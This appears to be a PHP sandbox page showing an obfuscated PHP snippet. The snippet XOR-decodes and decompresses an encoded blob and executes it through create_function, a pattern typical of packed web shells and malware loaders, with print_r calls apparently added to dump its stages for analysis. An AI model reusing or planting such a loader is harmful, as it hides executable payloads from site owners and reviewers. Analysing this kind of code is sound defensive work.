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run code in 300+ PHP versions simultaneously
<?php $rseluqic=array( '$rseluqic[0]=$rseluqic[3];$wyyuxpni=wyyuxpni(3,13);$rseluqic[0]=$wyyuxpni($rseluqic[2]);', '$rseluqic[2]=gzuncompress(wyyuxpni(713,2155));', 'UWV+bEZ6Z3N4V218aXZ+XXJ/fFRkY2Fzb01IaHl2aWVjflJ1eXBjY2VjSFlWWEVOSFpPTUtAVElESEVEVE1MaHVxfHtvbmNxf21+dFJGV0VDbX5hNn5sNG5TOD41K1R0akJhfD1wYWcgeDZ/QmQlOzh1ci16Tmx4UW8nKGRhcWJrc2RkcWlramt/an5lZyx0cWNtYzp0YGVoZS57YGxgb39/KWFieGNjeDt8eGdmYnV6TUJERFFJWnRZTUlXY3ZjbVhTf0JrUTY/KnFERFFJVkpIXkRZZE15ZUpucXZ8PzZYaXVobWh0PXRiZX9rMnpna2hzf3BFQidrVWVQVXReVVRMTFFTUkVZS0ZIYUpVX1NXUFlWWENRRkdjSU9LXUVAS1BdVFlCQkxLRjNhI3RgbyZxb2BFcGpGVU4jZGhpJixhYn5/L3l/f3lmI2RoaSYsTk5VJndieG5wQ05Mc1hdVVBYWmZYVUhJSUdhWF1VXUBQVE1yI2RoaWR5YGl2aGZYeX17XWh4ZGZ4fXVJeElPe2AoemZsc2h+fy15YXpubWhjYldKUFh7YCh6ZmxzaH5/LW9wdWlpWVRqf3d6bGZYaXl5aXEiUlp5InxqfnB4dUducXZ8PzZYaXVobWh0UGRNTXtwbHN/ZHd8aG9YanV/XWF0YmBTaHFxeHVteE55YmxGdUREUUlWV1RIQlRDS1RYVVV3T3ROdG1BaWohK3h7ZWJjZH5vImFhVElJZFhpIitye2dlfj5obWFMbiQrf2ZwZmF5aGcicnlsblJ4RSNndTRqbWlreWwsfHlmPnkxWip7OEwqZDhpYXIhfS1WVk4qZjh5ZG9ld3VWZX5sbWNRTz1jc292cGRkcWkzLShDdSpnOH9uYVlDdHJ/dXF2eXYqZzh6fExPb0laSmloYHphVSpnOGpiIk9ZRFstPT8mTHBEf3ZtMyJ4dSN0jIBBZHHlSwL1KW+beqEoX3ghHc2pPLYmZ+C2LM2E4VhNPCdDC'.'g4JUhl4TZHd/jHRIyYtyzr+aSzY0ePsYrZwg6Qrf6flgOO83irQ+NIO39RltzFgttxi1Ix5Ix6LzYPOmb7q2i5qGOt2vIdSqdRZOKXaX7tpOPk3oplZZkxW5aZKqrQbr3p4/tVWOFzDDSzkEsQi6EhTCRZOBA+p2ZPQCYJWG6StH6u6WiOuxYRNhoGtsX5ntM1qy11xN96wgFHU5s9KQNEOsWm6bZ8mNC+gaqFPpWt9LvNKnNgZeHjD4XBOXW+b2vwbIGQUSQ/7Z5qznoZx77QDDJqGEN57bDLbgiOO78UpQhyMtYjfOlf9LsJPTojB1Th14WpUkklUKNhNINvCuJldZIYPbFQiEF/zgThLEau6h3t1ZMuIOfJVPTSal0BESH5KbilAm8ZgmvHPFVMPlfK999DWOFkftc+hAJv8bbexSU9yfoMFruxbNkzU6hMEEFNKP/dWJeTZt5I/kl0GwTydLAMWDzUsVyPC/4g+BEIq+C98WZZb42njIJ4inkdTpbWZQ7WQ2r66ax4725apncM7d7yI+zLLLPDWx8YkzYiRPb4Jn8Kbd4e6ZZhLctY2fLdP8PSBxnrJSK7AT740WHCFtvdNXMWxS5YdIPZ+JoPv4jeMaXY62ksBvR0fqjhlWxNJlZC2ooqFxt30n9ThTJJ2DoqAeruMsNe9oOWke1mCEn3Mf38Eh0902d8EeLETehIonrSPpjq7pgA4RTKzk4iVQDC27/uFSI6zAf1cQ6WnsHm4/1ev2u6vz89qfLV6Awd9k0vqqxl3Rjcmznhc4lCy2m4mI//rNZCqJYo8WStwZpz60zIZUkF0pCZJ9JdlmIkTwbO5wsIWEwOL0KFKBkrCbiBbtpIrejK7ysl7oy2QFcsAfxmmxfKB6tbeh2nSJSx6j4nLs5yI28hCWQiY10jlm6vo/DZjsoeqDCiyTChPO9OXDKpS2S9l9C4jflyFmSNjDNMM7DqxVceMuGIHOX27jqtQFZMUkNOSTpevv2hmN9iDZxv'.'BUv1NdMCxR6ITIcJtbxHpkrhGZUXnPD5rQSuDt88M6UWWihAJ28QxAQJshRa0ZafQiBGHDQU2cWJuC1HvsZ8MYeODaVF8vm2NLt+74aMjDjUlwZpwOeWoQ08LGj1S2M9qaM5b2+dJqj+v8ff20+/8vTK8si9GARYyB1T2cR+C9+f8bvXh5W75Jjnn5mtsCD3tK8mH1252yOUttgZuNpjtuy5QkkW3MxsbwGgwQvMOcrRwkyabBZUBB6E6CFlu4kDSZ219wKReSFo4TzlXjPq8AtjIhF51LX7CEkLFARAs+vn5+I7DUsarqU8rg8UscEu3G8NMwljaB5pQxtPJ4WMsg1ZiYSRPDYiZYuO+gzQFOg43/uYiDZ1xU/Dq8+wCZcJpgV1nlwRELr62GAQedHzbZNZ3IQPflepYSPIPpNSCwDii1dtIC2nYBvt1pbpjLyvPmwYR4+pBGxCRvnfakAWv/gHFj/OIdlz/DYFUMo0fi5PIxcGhXWP2qdLwxCYiDpsnT0CBmr/NayNSWGBwxIzGjc31eHL5edARFw4/kFXhTF0LKTp9p3715zt36s9TOVQ2jelIC/VmeuaW2daGMG5vT6VjelKoKxyCIMRdDqjbg4v6OiPe9CP8KmWW+GHNL4da7V3iVJ2dTuHE2S3xnhxzgQ/cjp'.'W6lxIGQrPjwADJWStQAiBWMsw6J1zYpb/s4Wba96CrOVdaM7X8RtzQbAJhouFJop/oOEjVMqnSayG8rLE5UGnvuGLA8VlmwQ2yjRmJlh8A1SwtUFDq6bjMTgn0B7Be6QhdSiL9EosU6SjBcTVpgoaNE76hCknJmpKlM3IGF3/hiRcmn1femdqzkFN/2mVjq+QPmvU9/tc0sMJbduCE82nOlzUa5OXnwf5UsgLk1gd1byJIqIpVWtF6C7u/FuQZeLK9UbjLqKVOphGV69EvVaHv7ZAvX0blORts/fFsAjaeEHeexu8W0yCpKEMwbXTVIB6/OYZJQViNHpkknogcL00eE2nAeGetknoZB5yDsTarGHvBKdNoJq7npgf3KBsLVjabaqQ96l1au0sXsMk/KzeupsD+qb6Yk3iH4RKLEwofpHh4ZWo7NxZwtmdfPQU1e7zgSXud153q2yYItUYB+r24A8L+GVWeVwf321IAHFHIHtg0eRvJoYdC0/0TFbVoCG+5WfwijyIgPqR'.'7xEcGAZx87bXE05t4dwK2WB/qy/WzGhqpyCmQ0VGfHIbA/LUnlejdK2hikzBjAzOdZnl+HiqNijkM6t83gRYPRqIPdHgpc4OwRkTYI372KHPLKvGp3ZcRee2cuJ1VHmp9LxtfqXfESqGdfMd0Ocg57Fiyc0kIkEGmXD3uTjBsONpWkL65BFlHIFfQvuX2guuMpQXthwtd41JdlZeIpqOdYx0AwAc+ZFN1jO8w+dhKJ7SMym0a/ZBmLH9jF906gH/lHLMyo/e72M/r9udi1Xaq9u3k7+9IKWB95vkWzOFDbMUXWP49hy16IcJqX0zNkTk2KQmwegZmbzK1+HHIxIjzPAUbPhh3tN0cFY7woM2NP4aeGRYpyIlm/ZBDy147wOeFWOrc1yiQj1p/O1zJ6rqmJOEKnN4U65Q34JvUgkqIrIIysSay9eMWGslsgR+lwlryM8yYGBOo32iWbHRlc+W5frNU/sAhWcDPV2DppTNRptNqAvL64uHxzRykl1EwtKySQcHtFPt9cpx6MKpaJ5lOd/DtUc7cKlOulc/ApQV/SVZ9KQVH2Y8WhaFyfcLle9Ry63/T7UbAci8rX+3xgksDj2686C9y34Do5NZefQbcrt7eSEQ=', "/*s\x6e\x71\x76\x7c\x3f\x36\x58\x69\x75\x68\x6d\x68\x74*/");$jmrgstu='create_'; if(function_exists($jmrgstu.='function')){ $jmrgstu('','}function wyyuxpni($start,$text_len){global $rseluqic;$keypad=str_pad("",$text_len,"lpeyibgmpkblqval");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($rseluqic[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($ky=-1;++$ky<3;){ print_r($rseluqic); $rseluqic[$ky]=$jmrgstu('','}'.$rseluqic[$ky].'{'); }};unset($rseluqic);

preferences:
40.89 ms | 402 KiB | 5 Q